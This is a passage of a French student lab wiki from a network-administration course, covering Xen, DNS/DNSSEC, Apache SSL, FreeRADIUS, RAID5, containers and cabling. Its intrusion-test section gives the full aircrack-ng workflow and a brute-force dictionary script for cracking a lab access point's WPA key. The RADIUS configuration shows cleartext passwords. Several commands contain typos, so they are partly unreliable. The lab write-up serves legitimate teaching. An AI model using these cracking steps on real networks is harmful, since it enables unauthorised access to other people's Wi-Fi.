===Schéma résumant le câblage réalisé :===&lt;br /&gt;
&lt;br /&gt;
[[Fichier:ArchitectureMehCret.png|1500px]]&lt;br /&gt;
&lt;br /&gt;
== 2.Installation des systèmes d'exploitation==&lt;br /&gt;
&lt;br /&gt;
===Création de la machine virtuelle===&lt;br /&gt;
&lt;br /&gt;
Création d'une machine virtuelle sur cordouan.insecserv.deule.net :&lt;br /&gt;
&lt;br /&gt;
   xen-create-image --hostname=hercule --ip=193.48.57.183 --netmask=255.255.255.224 --gateway=193.48.57.160 --dir=/usr/local/xen&lt;br /&gt;
&lt;br /&gt;
Il fois la machine créée, on ajoute le bridge dans la config hercule.cfg&lt;br /&gt;
&lt;br /&gt;
  vif = ['ip=193.48.57.183 , mac=#####, bridge=StudentsInfo']&lt;br /&gt;
  xen create hercule.cfg&lt;br /&gt;
  &lt;br /&gt;
On vérifie que la machine est bien créée en s'y connectant :&lt;br /&gt;
&lt;br /&gt;
  xl console hercule&lt;br /&gt;
&lt;br /&gt;
Création des partitions logiques sur Cordouan pour la machine virtuelle :&lt;br /&gt;
   lvcreate -L 10G -n /dev/virtual/hercule-home -v&lt;br /&gt;
   lvcreate -L 10G -n /dev/virtual/hercule-var -v&lt;br /&gt;
    &lt;br /&gt;
Modification du fichier de configuration de la machine virtuelle pour prendre en compte ces volumes créés. Ajout des lignes : &lt;br /&gt;
   'phy:/dev/virtual/hercule-home,xvdb1,w',&lt;br /&gt;
   'phy:/dev/virtual/hercule-var,xvdb2,w'&lt;br /&gt;
&lt;br /&gt;
On relance la VM.&lt;br /&gt;
On formate les disques créés sur la machine :&lt;br /&gt;
   mkfs -t ext4 /dev/xvdb1&lt;br /&gt;
   mkfs -t ext4 /dev/xvdb2&lt;br /&gt;
&lt;br /&gt;
Afin de lier le home de notre vm au disque créé précédemment, on modifie le fichier /etc/fstab en y ajoutant la ligne suivante :&lt;br /&gt;
   /dev/xvdb1 /home ext4 defaults 0 2&lt;br /&gt;
Puis on effectue le montage :&lt;br /&gt;
   mount -a &lt;br /&gt;
&lt;br /&gt;
Pour le var, il faut monter temporairement le disque pour ne pas occulter le repertoire : &lt;br /&gt;
   mount /dev/xvdb2 /mnt&lt;br /&gt;
&lt;br /&gt;
On déplace ensuite le contenu de var dans le point de montage précédemment créé :&lt;br /&gt;
   mv /var/* /mnt&lt;br /&gt;
&lt;br /&gt;
Finalement, on ajoute dans le fichier /etc/fstab la ligne suivante pour effectuer le montage permanent :&lt;br /&gt;
   /dev/xvdb2 /var ext4 defaults 0 2&lt;br /&gt;
&lt;br /&gt;
On applique les modifications :&lt;br /&gt;
   mount -a&lt;br /&gt;
&lt;br /&gt;
==4.Services internet==&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
===Serveur DNS===&lt;br /&gt;
&lt;br /&gt;
Achat du domaine hercule.pw sur gandi.&lt;br /&gt;
&lt;br /&gt;
Installation de bind9: &lt;br /&gt;
&lt;br /&gt;
   apt install bind9 bind9-host dnsutils&lt;br /&gt;
&lt;br /&gt;
Modification de la configuration de bind9 :&lt;br /&gt;
On créé un fichier de configuration de zone db.hercule.space dans /etc/bind/ avec le contenu suivant : &lt;br /&gt;
&lt;br /&gt;
 ;&lt;br /&gt;
 ; BIND data file for local loopback interface&lt;br /&gt;
 ;&lt;br /&gt;
 $TTL	604800&lt;br /&gt;
 @	IN	SOA	ns.hercule.space. root.hercule.space (&lt;br /&gt;
 			3	; Serial&lt;br /&gt;
 			604800	; Refresh&lt;br /&gt;
 			86400	; Retry&lt;br /&gt;
 			2419200	; Expire&lt;br /&gt;
 			604800 )	; Negative Cache TTL&lt;br /&gt;
 ;&lt;br /&gt;
 	IN	NS	ns.hercule.space.&lt;br /&gt;
 	IN	NS	ns6.gandi.net&lt;br /&gt;
 @      IN      A       193.48.57.183&lt;br /&gt;
 ns	IN	A	193.48.57.183&lt;br /&gt;
 www	IN	A	193.48.57.183&lt;br /&gt;
&lt;br /&gt;
Ajout de notre zone DNS en modifiant le fichier /etc/bind/named.conf.local :&lt;br /&gt;
&lt;br /&gt;
 zone &amp;quot;hercule.space&amp;quot; {&lt;br /&gt;
         type master;&lt;br /&gt;
         file &amp;quot;/etc/bind/db.hercule.space&amp;quot;; &lt;br /&gt;
         allow-transfer {217.70.177.40;};&lt;br /&gt;
 };&lt;br /&gt;
&lt;br /&gt;
La ligne 'allow-transfer' précise les adresses des serveurs esclaves Gandi.&lt;br /&gt;
&lt;br /&gt;
Redémarrage du serveur bind9 :&lt;br /&gt;
  service bind9 restart&lt;br /&gt;
&lt;br /&gt;
Ajout de glue records sur Gandi pour permettre l'association du serveur DNS créé avec notre adresse IP : &lt;br /&gt;
  name : ns.hercule.space&lt;br /&gt;
  IP address : 193.48.57.183&lt;br /&gt;
&lt;br /&gt;
Changement du nameserver principal sur Gandi (A FAIRE): &lt;br /&gt;
  DNS 1 : ns.hercule.space&lt;br /&gt;
&lt;br /&gt;
On laisse ceux de Gandi pour les deux serveurs esclaves&lt;br /&gt;
&lt;br /&gt;
ZONES INVERSES A FAIRE&lt;br /&gt;
&lt;br /&gt;
===DNSSEC===&lt;br /&gt;
&lt;br /&gt;
Dans un premier temps, on active DNSSEC en ajoutant dans le fichier /etc/bind/named la ligne :&lt;br /&gt;
   dnssec-enable yes;&lt;br /&gt;
&lt;br /&gt;
Création d'un répertoire de nom hercule.space.dnssec pour y générer les clefs&lt;br /&gt;
&lt;br /&gt;
Création de la clef asymétrique de signature de clefs de zone :&lt;br /&gt;
&lt;br /&gt;
  dnssec-keygen -a RSASHA1 -b 2048 -f KSK -r /dev/urandom -n ZONE hercule.space&lt;br /&gt;
 :&lt;br /&gt;
Création de  la clef asymétrique de la zone pour signer les enregistrements :&lt;br /&gt;
&lt;br /&gt;
  dnssec-keygen -a RSASHA1 -b 1024 -r /dev/urandom -n ZONE hercule.space&lt;br /&gt;
&lt;br /&gt;
On renomme ces clef : &lt;br /&gt;
  hercule.space-ksk.key&lt;br /&gt;
  hercule.space-zsk.key&lt;br /&gt;
&lt;br /&gt;
Puis on les inclus dans le fichier /etc/bind/db.hercule.space&lt;br /&gt;
  $include /etc/bind/hercule.space.dnssec/hercule.space-ksk.key&lt;br /&gt;
  $include /etc/bind/hercule.space.dnssec/hercule.space-zsk.key&lt;br /&gt;
&lt;br /&gt;
On signe les enregistrements de la zone :&lt;br /&gt;
  dnssec-signzone -o hercule.space -k hercule.space-ksk ../db.hercule.space hercule.space-zsk&lt;br /&gt;
&lt;br /&gt;
On modifie le fichier named.conf.local pour utiliser la zone signée de suffixe .signed :&lt;br /&gt;
  file &amp;quot;/etc/bind/db.hercule.space.signed&amp;quot;;&lt;br /&gt;
&lt;br /&gt;
On communique les parties publiques de la KSK et ZSK à Gandi dans l'onglet DNSSEC. On n'oublie pas également d'incrémenter le SERIAL dans le fichier db.hercule.space.&lt;br /&gt;
&lt;br /&gt;
===Serveur Apache===&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Création du dossier /var/www/www.hercule.pw&lt;br /&gt;
&lt;br /&gt;
*''' Certification SSL :'''&lt;br /&gt;
&lt;br /&gt;
Génération du Certificate Signing Request (CSR) pour Gandi sur la VM :&lt;br /&gt;
   openssl req -nodes -newkey rsa:2048 -sha256 -keyout hercule.pw.key -out hercule.pw.csr&lt;br /&gt;
&lt;br /&gt;
On copie le contenu de la clé générée sur Gandi. Pour valider la certification SSL, on choisi la méthode par DNS Record. On ajoute alors l'enregistrement CNAME proposé par Gandi dans notre configuration de zone sur la VM. Il faut maintenant patienter le temps du traitement. &lt;br /&gt;
&lt;br /&gt;
*'''Configuration Apache :'''&lt;br /&gt;
&lt;br /&gt;
Configuration du serveur web dans le fichier /etc/apache2/sites-available/hercule.space.conf&lt;br /&gt;
&lt;br /&gt;
  &amp;lt;VirtualHost 193.48.57.183:443&amp;gt;&lt;br /&gt;
                 ServerName www.hercule.space&lt;br /&gt;
                 ServerAlias hercule.space&lt;br /&gt;
                 DocumentRoot /var/www/html/&lt;br /&gt;
                 CustomLog /var/log/apache2/secure_acces.log combined&lt;br /&gt;
 &lt;br /&gt;
                 SSLEngine on&lt;br /&gt;
                 SSLCertificateFile /etc/ssl/certs/www.hercule.space.crt&lt;br /&gt;
                 SSLCertificateKeyFile /etc/ssl/private/hercule.space.key&lt;br /&gt;
                 SSLCertificateChainFile /etc/ssl/certs/GandiStandardSSLCA2.pem&lt;br /&gt;
                 SSLVerifyClient None&lt;br /&gt;
  &amp;lt;/VirtualHost&amp;gt;&lt;br /&gt;
&lt;br /&gt;
  &amp;lt;VirtualHost 193.48.57.183:80&amp;gt;&lt;br /&gt;
                 ServerName www.hercule.space&lt;br /&gt;
                 ServerAlias hercule.space&lt;br /&gt;
                 Redirect / https://www.hercule.space&lt;br /&gt;
  &amp;lt;/VirtualHost&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Modification du fichier ports.conf pour que le serveur web écoute sur le port 443 :&lt;br /&gt;
&lt;br /&gt;
  Listen 80 443&lt;br /&gt;
&lt;br /&gt;
On active enfin le module SSL, notre site, et on redémarre le service apache :&lt;br /&gt;
  a2enmod ssl&lt;br /&gt;
  a2ensite hercule.space.conf&lt;br /&gt;
  service apache2 restart&lt;br /&gt;
&lt;br /&gt;
===Serveur Freeradius===&lt;br /&gt;
&lt;br /&gt;
Installation de Freeradius sur la vm :&lt;br /&gt;
  apt-get install freeradius&lt;br /&gt;
&lt;br /&gt;
On ajoute ensuite un utilisateur au serveur freeradius. Pour cela, dans le fichier /etc/freeradius/3.0/users on ajoute : &lt;br /&gt;
  hercule Cleartext-Password := &amp;quot;glopglop&amp;quot;&lt;br /&gt;
&lt;br /&gt;
Il nous est demandé de configurer le serveur en PEAP-MSCHAPv2. Pour cela, on modifie les fichiers : &lt;br /&gt;
&lt;br /&gt;
- /etc/freeradius/mods-enabled/eap.conf :&lt;br /&gt;
  default_eap_type = peap&lt;br /&gt;
&lt;br /&gt;
- /etc/freeradius/mods-enabled/mschap :&lt;br /&gt;
  use_mppe = yes&lt;br /&gt;
  require_encryption = yes&lt;br /&gt;
  require_strong = yes&lt;br /&gt;
  with_ntdomain_hack = yes&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
On ajoute les points d'accès dans notre configuration de serveur (fichier : /etc/freeradius/3.0/clients.conf) :&lt;br /&gt;
  client 192.168.0.10/32 &lt;br /&gt;
  {&lt;br /&gt;
   secret = secretIMA5SC&lt;br /&gt;
   shortname = borneDivinite&lt;br /&gt;
  }&lt;br /&gt;
&lt;br /&gt;
  client 192.168.0.11/32 &lt;br /&gt;
  {&lt;br /&gt;
   secret = secretIMA5SC&lt;br /&gt;
   shortname = borneDivinite&lt;br /&gt;
  }&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
On met à jour la configuration : &lt;br /&gt;
  ldconfig&lt;br /&gt;
&lt;br /&gt;
== 5. Tests d'intrusion ==&lt;br /&gt;
===Crackage de clé WPA===&lt;br /&gt;
&lt;br /&gt;
Afin de lancer le crackage de clé WPA sur le point d'accès cracotte07, nous avons besoin du package aircrack-ng que nous installons. Nous affichons ainsi nos interfaces avec la commande :&lt;br /&gt;
&lt;br /&gt;
 $ iwconfig&lt;br /&gt;
&lt;br /&gt;
Nous lançons alors airmon-ng avec notre interface wifi (wlp2s0) :&lt;br /&gt;
&lt;br /&gt;
 $ airmon-ng start wlp2s0mon&lt;br /&gt;
&lt;br /&gt;
Nous affichons ensuite tout les point d'accés environnants en utilisant la commande :&lt;br /&gt;
&lt;br /&gt;
 $ airodump-ng  wlp2s0mon&lt;br /&gt;
&lt;br /&gt;
Nous capturons des paquets provenants de cracotte07 que nous enregistrons dans un fichier :&lt;br /&gt;
&lt;br /&gt;
 $ airodump-ng -c 9 --bssid 04:DA:d2:9C:50:56 -w ./path_to_folder/cracotte07 wlp2s0mon&lt;br /&gt;
&lt;br /&gt;
Une fois les fichiers générés, nous les transférons sur une ZABETH. Avant de lancer le craquage, nous devons générer un dictionnaire contenant toutes les combinaisons possibles de 8 chiffres. Pour cela, nous réalisons le script bash suivant :&lt;br /&gt;
&lt;br /&gt;
 #!/bin/bash&lt;br /&gt;
 charset=({0..9})&lt;br /&gt;
 permute(){&lt;br /&gt;
   (($1 == 0)) &amp;amp;&amp;amp; { echo &amp;quot;$2&amp;quot;; return; }&lt;br /&gt;
   for char in &amp;quot;${charset[@]}&amp;quot;&lt;br /&gt;
   do&lt;br /&gt;
     permute &amp;quot;$((${1} - 1 ))&amp;quot; &amp;quot;$2$char&amp;quot;&lt;br /&gt;
   done&lt;br /&gt;
 }&lt;br /&gt;
 permute &amp;quot;$1&amp;quot;&lt;br /&gt;
&lt;br /&gt;
Que nous laçons en exécutant :&lt;br /&gt;
&lt;br /&gt;
 $ ./comb.sh 8 &amp;gt;&amp;gt; dictionnaire.txt&lt;br /&gt;
&lt;br /&gt;
Le crack est effectué en lançant la commande :&lt;br /&gt;
&lt;br /&gt;
 $ aircrack-ng -a2 -b 04:DA:D2:9C:50:56  -w /path_to_file/dictionnaire.txt /path_to_file/*.cap&lt;br /&gt;
&lt;br /&gt;
Nous récupérons la clé après quelques heures de calcul :&lt;br /&gt;
&lt;br /&gt;
[[Fichier:Crack groupe7.png|600px]]&lt;br /&gt;
&lt;br /&gt;
== 6. Réalisation ==&lt;br /&gt;
&lt;br /&gt;
===6.1 Sécurisation de données===&lt;br /&gt;
&lt;br /&gt;
Création de trois partitions LVM de 1Go sur Cordouan : &lt;br /&gt;
  lvcreate -L 1G -n /dev/virtual/hercule1 -v&lt;br /&gt;
  lvcreate -L 1G -n /dev/virtual/hercule2 -v&lt;br /&gt;
  lvcreate -L 1G -n /dev/virtual/hercule3 -v&lt;br /&gt;
&lt;br /&gt;
Modification du fichier de configuration de la machine virtuelle pour prendre en compte ces volumes créés. Ajout des lignes :&lt;br /&gt;
&lt;br /&gt;
  'phy:/dev/virtual/hercule1,xvdc1,w',&lt;br /&gt;
  'phy:/dev/virtual/hercule2,xvdc2,w',&lt;br /&gt;
  'phy:/dev/virtual/hercule3,xvdc3,w'&lt;br /&gt;
 &lt;br /&gt;
&lt;br /&gt;
Installation du paquetage mdadm pour réaliser le RAID5 logiciel :&lt;br /&gt;
  apt-get install mdadm&lt;br /&gt;
&lt;br /&gt;
Création du RAID5 :&lt;br /&gt;
  mdadm --create /dev/md0 --level=5 --assume-clean --raid-devices=3 /dev/xvdc1 /dev/xvdc2 /dev/xvdc3&lt;br /&gt;
&lt;br /&gt;
On formate le RAID créé : &lt;br /&gt;
  mkfs -t ext4 /dev/md0&lt;br /&gt;
&lt;br /&gt;
On monte le RAID dans notre VM : &lt;br /&gt;
  mount /dev/md0 /mnt &lt;br /&gt;
&lt;br /&gt;
On créé un fichier sur le RAID pour qu'il contienne des données. On ferme la VM et on lui retire la partition xvdc3 dans sa config.&lt;br /&gt;
On relance la VM. Puis on essaye de remonter le RAID : &lt;br /&gt;
En voulant remonter /dev/md0, un message nous indique que md0 n'existe pas. On lance alors la commande : &lt;br /&gt;
  cat /proc/mdstat&lt;br /&gt;
Et on s'aperçoit que notre RAID est toujours présent, cette fois n'ayant plus que deux disques, mais apparaît sous le nom md127. On monte alors ce derrnier : &lt;br /&gt;
  mount /dev/md127 /mnt&lt;br /&gt;
On retrouve alors bien le fichier créé initialement sur notre RAID. Lors de sa création, le fichier a été copié sur les 3 disques par le RAID. Ainsi, lorsque que nous avons supprimé un disque, cela n'a pas eu d'impact sur nos données.&lt;/div&gt;</summary>
		<author><name>Mcreteur</name></author>	</entry>

	<entry>
		<id>https://wiki-ima.plil.fr/mediawiki//index.php?title=TP_sysres_IMA5sc_2018/2019_G7&amp;diff=48820</id>
		<title>TP sysres IMA5sc 2018/2019 G7</title>
		<link rel="alternate" type="text/html" href="https://wiki-ima.plil.fr/mediawiki//index.php?title=TP_sysres_IMA5sc_2018/2019_G7&amp;diff=48820"/>
				<updated>2018-12-17T15:12:51Z</updated>
		
		<summary type="html">&lt;p&gt;Mcreteur : /* 6. Réalisation */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;= Wiki de TP =&lt;br /&gt;
&lt;br /&gt;
=TP GIS=&lt;br /&gt;
&lt;br /&gt;
==Conteneurs &amp;quot;à la main&amp;quot;==&lt;br /&gt;
&lt;br /&gt;
===Mise en place des conteneurs===&lt;br /&gt;
&lt;br /&gt;
*'''Création d'une partition''':&lt;br /&gt;
   dd if=/dev/zero of=/disk1 bs=1024K count=10240&lt;br /&gt;
&lt;br /&gt;
*'''Formatage''' : &lt;br /&gt;
   mtfs.etx4 /disk1&lt;br /&gt;
&lt;br /&gt;
*'''Montage de la partition''':&lt;br /&gt;
   mount /disk1 /mnt&lt;br /&gt;
&lt;br /&gt;
*'''Installation d'un système Debian''':&lt;br /&gt;
   debootstrap --include=apache2,nano stable /mnt &lt;br /&gt;
&lt;br /&gt;
*'''Préparation du montage du pseudo système de fichier /proc''':&lt;br /&gt;
   echo &amp;quot;proc /proc proc defaults 0 0&amp;quot; &amp;gt;&amp;gt; rootfs/etc/fstab&lt;br /&gt;
&lt;br /&gt;
*''' Démontage ''':&lt;br /&gt;
   umount /mnt&lt;br /&gt;
&lt;br /&gt;
*'''Copie en 2 exemplaires''':&lt;br /&gt;
   cp /disk1 /disk2&lt;br /&gt;
   cp /disk1 /disk3&lt;br /&gt;
&lt;br /&gt;
*'''Montage des 3 partitions :'''&lt;br /&gt;
   mount -oloop /disk1 /mnt/dsk1&lt;br /&gt;
   mount -oloop /disk2 /mnt/dsk2&lt;br /&gt;
   mount -oloop /disk3 /mnt/dsk3&lt;br /&gt;
&lt;br /&gt;
*'''Création du processus isolé par unshare''':&lt;br /&gt;
   unshare -p -f -m -n -u chroot /mnt/dsk1 /bin/sh -c &amp;quot;mount /proc ; /bin/bash&amp;quot;&lt;br /&gt;
   unshare -p -f -m -n -u chroot /mnt/dsk2 /bin/sh -c &amp;quot;mount /proc ; /bin/bash&amp;quot;&lt;br /&gt;
   unshare -p -f -m -n -u chroot /mnt/dsk3 /bin/sh -c &amp;quot;mount /proc ; /bin/bash&amp;quot;&lt;br /&gt;
&lt;br /&gt;
===Configuration réseau===&lt;br /&gt;
*'''Création d'un commutateur logiciel''':&lt;br /&gt;
    ip link add mehcret2 type bridge&lt;br /&gt;
&lt;br /&gt;
*'''Création des interfaces virtuelles:'''&lt;br /&gt;
    ip link add vif1 type veth peer name eth0@vif1&lt;br /&gt;
    ip link add vif2 type veth peer name eth0@vif2&lt;br /&gt;
    ip link add vif3 type veth peer name eth0@vif3&lt;br /&gt;
    ip link add vif4 type veth peer name eth1@vif4&lt;br /&gt;
&lt;br /&gt;
*'''Ajout d'interfaces dans le commutateur :'''&lt;br /&gt;
    ip link set vif1 master mehcret2&lt;br /&gt;
    ip link set vif2 master mehcret2&lt;br /&gt;
    ip link set vif3 master mehcret2&lt;br /&gt;
    ip link set vif4 master bridge&lt;br /&gt;
&lt;br /&gt;
*'''Activation des interfaces''':&lt;br /&gt;
    ip link set eth0 up&lt;br /&gt;
    ip link set eth1 up&lt;br /&gt;
&lt;br /&gt;
*'''Récupération du PID des conteneurs :'''&lt;br /&gt;
    ps auxwww | grep unshare&lt;br /&gt;
&lt;br /&gt;
*'''Ajout des interfaces dans les conteneurs :'''&lt;br /&gt;
    ip link set eth0@vif2 netns /proc/19382/ns/net name eth0 (dsk1)&lt;br /&gt;
    ip link set eth0@vif1 netns /proc/19377/ns/net name eth0 (dsk2)&lt;br /&gt;
    ip link set eth1@vif4 netns /proc/19377/ns/net name eth1 (dsk2)&lt;br /&gt;
    ip link set eth0@vif3 netns /proc/19396/ns/net name eth0 (dsk3)&lt;br /&gt;
&lt;br /&gt;
*'''Activation du pont:''' &lt;br /&gt;
    ip address add dev mehcret2 192.168.60.0/24&lt;br /&gt;
&lt;br /&gt;
*'''Attribution des adresses:'''&lt;br /&gt;
    ip address add dev eth0 192.168.60.51/24 (dsk1)&lt;br /&gt;
    ip address add dev eth0 192.168.60.52/24 (dsk2)&lt;br /&gt;
    ip address add dev eth0 192.168.60.53/24 (dsk3)&lt;br /&gt;
    ip address add dev eth1 172.26.145.67/24 (dsk2)&lt;br /&gt;
    ip route add default via 172.26.145.254 (dsk2)&lt;br /&gt;
&lt;br /&gt;
*'''Activation :'''&lt;br /&gt;
    ip link set eth0 up&lt;br /&gt;
    ip link set vif1 up&lt;br /&gt;
    ip link set vif2 up&lt;br /&gt;
    ip link set vif3 up&lt;br /&gt;
    ip link set vif4 up&lt;br /&gt;
    ip link set mehcret2 up&lt;br /&gt;
&lt;br /&gt;
On peut désormais pinger entre les différents conteneurs.&lt;br /&gt;
&lt;br /&gt;
===Configuration des serveurs Web===&lt;br /&gt;
&lt;br /&gt;
Nous devons maintenant mettre en place les serveurs apache.&lt;br /&gt;
&lt;br /&gt;
Dans un premier temps, on créé les sous-domaines dont nous avons besoin. Dans les enregistrements DNS du domaine '''plil.space''', on ajoute les enregistrements suivants : &lt;br /&gt;
&lt;br /&gt;
- mndtMehcret     A      172.26.145.67    (mndtMehcret sera le serveur mandataire. On le fait pointer sur l'adresse eth1 du conteneur 2)&lt;br /&gt;
&lt;br /&gt;
- web1Mehcret     CNAME  mndtMehcret      (Serveur web du conteneur 1)&lt;br /&gt;
&lt;br /&gt;
- web2Mehcret     CNAME  mndtMhecret      (Serveur web du conteneur 3)&lt;br /&gt;
&lt;br /&gt;
On configure ensuite les serveurs Apache. On attribue au premier serveur sur le conteneur 1 la configuration suivante dans le répertoire /etc/apache2/sites-available/ :&lt;br /&gt;
&lt;br /&gt;
    &amp;lt;VirtualHost *:80&amp;gt;&lt;br /&gt;
      ServerName web1mehcret.plil.space&lt;br /&gt;
      Options Indexes FollowSymLinks&lt;br /&gt;
      DocumentRoot /var/www/html/web1mehcret/&lt;br /&gt;
    &amp;lt;/VirtualHost&amp;gt; &lt;br /&gt;
&lt;br /&gt;
On fait de même dans le conteneur 3 pour le serveur 2 en mettant les ServerName et Document root associés.&lt;br /&gt;
On écrit ensuite une page HTML basique dans les dossiers /var/www/html/web1mehcret/ et /var/www/html/web2mehcret/ afin de reconnaître notre serveur web. &lt;br /&gt;
&lt;br /&gt;
Il faut maintenant mettre en place le reverse proxy. &lt;br /&gt;
Dans le conteneur 2, connectée à la fois à eth0 et eth1, nous mettons en place la configuration suivante :&lt;br /&gt;
&lt;br /&gt;
    &amp;lt;VirtualHost *:80&amp;gt;&lt;br /&gt;
      ServerName mndtMehcret.plil.space&lt;br /&gt;
      ProxyPass &amp;quot;/web1&amp;quot; &amp;quot;http://192.168.60.51/&amp;quot;&lt;br /&gt;
      ProxyPassReverse &amp;quot;/web1&amp;quot; &amp;quot;http://192.168.60.51/&amp;quot;&lt;br /&gt;
      ProxyPass &amp;quot;/web2&amp;quot; &amp;quot;http://&amp;quot;http://192.168.60.53/&amp;quot;&lt;br /&gt;
      ProxyPassReverse &amp;quot;/web2&amp;quot; &amp;quot;http://192.168.60.53/&amp;quot;&lt;br /&gt;
    &amp;lt;/VirtualHost&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Les lignes ProxyPass et ProxyPassReverse permettent alors la redirection sur les serveurs web du conteneur 1 et 3.&lt;br /&gt;
&lt;br /&gt;
Après avoir configuré les différents serveurs Apache, il faut redémarrer les services sur chaque conteneur :&lt;br /&gt;
&lt;br /&gt;
     $ service apache2 restart&lt;br /&gt;
&lt;br /&gt;
Pour utiliser apache en mode reverse proxy, on execute la commande :&lt;br /&gt;
&lt;br /&gt;
     $ a2enmod proxy proxy_http&lt;br /&gt;
&lt;br /&gt;
11h25 : Serveurs Web unshare OK&lt;br /&gt;
&lt;br /&gt;
==Conteneurs Docker==&lt;br /&gt;
 &lt;br /&gt;
Avant de lancer un conteneur, il faut modifier le fichier /etc/default/docker et commenter la ligne contenant iptables.&lt;br /&gt;
Nous exécutons ensuite la commande :&lt;br /&gt;
    $ iptables-save&lt;br /&gt;
Puis on redémarre le service Docker :&lt;br /&gt;
    $ service docker restart&lt;br /&gt;
&lt;br /&gt;
Sans les commandes réalisées précédemment, nous n'avions pas accès au réseau dans les conteneurs.&lt;br /&gt;
 &lt;br /&gt;
Nous pouvons maintenant lancer un conteneur basé sur l'image officielle de debian :&lt;br /&gt;
    $ docker run -i -t  debian&lt;br /&gt;
&lt;br /&gt;
Dans le conteneur, nous ajoutons le proxy de l'école :&lt;br /&gt;
    $ export http_proxy=http://proxy.polytech-lille.fr:3128/ &lt;br /&gt;
&lt;br /&gt;
Nous pouvons maintenant utiliser le gestionnaire de paquets apt afin d'installer apache2 et un éditeur de texte:&lt;br /&gt;
    $ apt-get update&lt;br /&gt;
    $ apt-get install apache2, nano, vim&lt;br /&gt;
&lt;br /&gt;
On sauvegarde ensuite le conteneur pour pouvoir le lancer plus tard en 3 exemplaires : &lt;br /&gt;
&lt;br /&gt;
    $ docker commit [IDduConteneur] mehcret&lt;br /&gt;
&lt;br /&gt;
On créé un réseau Docker pour isoler nos conteneurs ensemble :&lt;br /&gt;
&lt;br /&gt;
    $ docker network create --driver bridge mehcretnetwork&lt;br /&gt;
&lt;br /&gt;
Nous lançons ensuite 3 conteneurs sur le réseau précédemment créé en liant le port 80 du conteneur 3 (qui jouera le rôle de reverse proxy) au port 80 de la machine : &lt;br /&gt;
&lt;br /&gt;
    $ docker run -i --network mehcretnetwork --name mehcret1 mehcret&lt;br /&gt;
    $ docker run -i --network mehcretnetwork --name mehcret2 mehcret&lt;br /&gt;
    $ docker run -i --network mehcretnetwork --name mehcret3 -p 80:80 mehcret&lt;br /&gt;
&lt;br /&gt;
Nous créons un nouveau sous domaine, dockerMehcret.plil.space pointant sur l'adresse IP de notre bridge en ajoutant un enregistrement de type A.&lt;br /&gt;
Finalement, on configure les différents serveurs Apache comme nous l'avions fait dans la partie précédente.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
10h30 Serveurs Web (docker) OK&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
=TP PRA=&lt;br /&gt;
&lt;br /&gt;
Cet atelier consiste en la réalisation d’une maquette de réseau permettant de manipuler les protocoles de redondance réseau ainsi que le protocole réseau IPv6. D’un point de vue système nous aurons à installer une machine virtuelle Xen ainsi qu’à implanter un auto-commutateur téléphonique logiciel. Enfin la mise en place d’un réseau Wifi sécurisé et d’un site web sécurisé nous permettra de mettre en pratiques nos connaissances en la matière.&lt;br /&gt;
&lt;br /&gt;
==Tâche 5 : Câblage, connexion SR52, cordouan==&lt;br /&gt;
&lt;br /&gt;
===Connexion des routeurs au réseau de l'école===&lt;br /&gt;
&lt;br /&gt;
*'''Connexion SR52 - Routeur ISR4221 (E306)'''&lt;br /&gt;
&lt;br /&gt;
Dans le local SR52, on branche un câble du port 21 du routeur jusqu'au port K-16 du commutateur qui est relié à la prise murale qui se situe au dessus de cordouan en E306.&lt;br /&gt;
&lt;br /&gt;
Sur le routeur, on passe le port 21 sur le vlan 131 : &lt;br /&gt;
&lt;br /&gt;
   config t&lt;br /&gt;
   int gi1/0/21&lt;br /&gt;
   switchport access vlan 131&lt;br /&gt;
   write&lt;br /&gt;
&lt;br /&gt;
En E306, on relie le port Gigabit 0/0/0 du routeur ISR4221 à la prise murale SR52.3-K16.&lt;br /&gt;
&lt;br /&gt;
Les LEDs passent alors au vert et on observe que le port 21 du routeur en SR52 est bien connecté :&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&amp;lt;gallery mode=&amp;quot;nolines&amp;quot; widths=500px heights=400px&amp;gt;&lt;br /&gt;
&lt;br /&gt;
File:TableVlansInterfacesSR52.jpg&lt;br /&gt;
&lt;br /&gt;
File:LedSR52.jpg&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/gallery&amp;gt;&lt;br /&gt;
&lt;br /&gt;
*'''Connexion SR52 - Routeur Catalyst 3560 (E304)'''&lt;br /&gt;
&lt;br /&gt;
En E304, on remarque une fibre libre de code couleur Blanc-Noir, on retrouve cette même fibre connectée au routeur en SR52 sur une interface 10Gb et déjà configurée sur le bon Vlan. On branche alors cette fibre sur la première interface 10 Gb du routeur Catalyst 3560 en E304 en accord avec le groupe configurant ce routeur. Le routeur de la E304 est désormais connecté au réseau de l'école.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
===Connexion des commutateurs aux routeurs===&lt;br /&gt;
&lt;br /&gt;
*'''Connexion Routeur Catalyst 3560 - Commutateur 4006 (E304)'''&lt;br /&gt;
&lt;br /&gt;
Le routeur utilisé en E304 permettant la communication 10Gb, on relie le commutateur au routeur par 10 câbles afin de profiter au maximum des possibilités offertes par le Catalyst 3560. Le groupe s'occupant des commutateurs ayant configuré le commutateur de la E304 pour communiquer avec le routeur de cette même salle par les ports 4 à 13, on branche 10 câbles ethernet sur ces ports que l'on relie au routeur sur les ports 1 à 10.&lt;br /&gt;
&lt;br /&gt;
*'''Connexion Routeur ISR 4221 - Commutateur 6000 (E306)'''&lt;br /&gt;
&lt;br /&gt;
Contrairement au routeur utilisé en E304, le routeur en E306 ne permet une communication que Gb. Le commutateur sera donc relié au routeur par un seul câble. En accord avec le groupe configurant le routeur et celui configurant le commutateur, on relie ces derniers par un câble ethernet du port Gigabit 0/0/2 du routeur au port 14 du commutateur.&lt;br /&gt;
&lt;br /&gt;
*'''Connexion Routeur ISR 4221 (E306) - Commutateur 4006 (E304) '''&lt;br /&gt;
&lt;br /&gt;
La connexion entre le routeur et le commutateur doit se faire par fibre étant donné que ces deux appareils se trouvent dans deux salles différentes. On utilise pour cela la fibre disponible de code couleur (A COMPLETER). Du côté de la salle E306, on connecte la fibre à l'interface Gb 0/0/1. En E304, on connecte la fibre sur un port UPLINK du commutateur.&lt;br /&gt;
